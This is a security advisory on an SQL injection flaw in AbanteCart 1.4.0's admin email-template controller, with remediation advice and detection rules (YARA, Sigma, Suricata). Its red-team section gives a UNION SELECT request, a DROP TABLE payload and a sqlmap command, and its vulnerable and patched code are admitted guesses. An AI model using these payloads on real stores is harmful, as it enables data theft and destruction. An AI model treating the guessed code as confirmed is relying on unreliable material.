CVE-2024-50802

Executive Summary

CVE-2024-50802 is a critical SQL Injection vulnerability discovered in AbanteCart version 1.4.0. The flaw resides in the update() function within the file public_html/admin/controller/responses/listing_grid/email_templates.php. An authenticated attacker can exploit the id parameter to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability has a CVSS score of 0.0 (placeholder) but is considered high risk due to the potential for complete database compromise. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (SQL Injection in an admin controller), a realistic assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs admin-level authentication.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database availability can be impacted.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)

Threat Level: High. The vulnerability allows for complete database compromise, including extraction of sensitive data (e.g., user credentials, order information) and potential privilege escalation.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the update() function of the admin controller for email templates. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path:

• File: public_html/admin/controller/responses/listing_grid/email_templates.php
• Function: update()
• Parameter: id (passed via POST or GET request)

The vulnerable code likely resembles:

$id = $this->request->post['id'];
$sql = "UPDATE email_templates SET ... WHERE id = " . $id;
$this->db->query($sql);

An attacker can inject SQL commands by providing a malicious value for id, such as:

1; DROP TABLE email_templates; --

This would execute the injected SQL after the intended query, potentially causing data loss or unauthorized actions.

Vulnerable vs. Patched Code

Vulnerable Code (AbanteCart 1.4.0):

$id = $this->request->post['id'];
$sql = "UPDATE email_templates SET ... WHERE id = " . $id;
$this->db->query($sql);

Patched Code (Hypothetical):

$id = (int)$this->request->post['id']; // Cast to integer
$sql = "UPDATE email_templates SET ... WHERE id = " . $id;
$this->db->query($sql);

Or, using prepared statements:

$id = $this->request->post['id'];
$sql = "UPDATE email_templates SET ... WHERE id = ?";
$this->db->query($sql, array($id));

The patched code ensures that the id parameter is treated as an integer or is properly parameterized, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an AbanteCart 1.4.0 admin panel with valid credentials.
• Knowledge of the admin URL (e.g., http://target.com/admin).

Exploitation Steps:

1. Log in to the admin panel.
2. Intercept a request to the update() function (e.g., via Burp Suite).
3. Modify the id parameter to inject SQL.

Example Payload:

POST /admin/index.php?rt=responses/listing_grid/email_templates/update HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [admin_session_cookie]

id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

Note: The exact number of columns in the email_templates table must be determined first.

Automated Exploitation:

• Use sqlmap with the authenticated session:

sqlmap -u "http://target.com/admin/index.php?rt=responses/listing_grid/email_templates/update" --data="id=1" --cookie="[admin_session_cookie]" --batch --dbs

Blue Team

Detection:

• Monitor for unusual SQL queries in database logs.
• Look for requests to /admin/index.php?rt=responses/listing_grid/email_templates/update with suspicious id parameters (e.g., containing SQL keywords like UNION, SELECT, DROP).

Prevention:

• Apply input validation and parameterized queries.
• Restrict admin panel access to trusted IPs.
• Implement a Web Application Firewall (WAF) to block SQL injection patterns.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /admin/index.php?rt=responses/listing_grid/email_templates/update with id parameter containing SQL syntax.
  • Unusual database queries (e.g., UNION SELECT, DROP TABLE).

• File:

  • Modified email_templates table entries.
  • New admin accounts created via SQL injection.

• Log:

  • Database error logs showing SQL syntax errors.
  • Web server logs with id parameter containing ', --, UNION, etc.

Detection Engineering

YARA Rule

rule CVE_2024_50802_SQLi_AbanteCart {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-50802 in AbanteCart"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-50802"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "DROP" nocase
        $sqli5 = "admin/index.php?rt=responses/listing_grid/email_templates/update" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against AbanteCart Email Templates
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-50802 in AbanteCart
author: Valters IT
date: 2025-04-17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50802
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "rt=responses/listing_grid/email_templates/update"
        cs-uri-query|contains|all:
            - "id="
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate admin actions with complex queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50802 SQL Injection Attempt - AbanteCart Email Templates"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"rt=responses/listing_grid/email_templates/update"; http_uri; pcre:"/id=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Input Validation: Manually patch the vulnerable code by casting $id to an integer or using prepared statements.
3. Access Control: Restrict admin panel access to trusted IPs and enforce strong authentication.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct regular security audits and code reviews.
• Monitor for new patches from AbanteCart.

Workaround:

• Disable the email templates functionality if not needed, or remove the vulnerable controller file.

Valters IT
Securing Digital Frontiers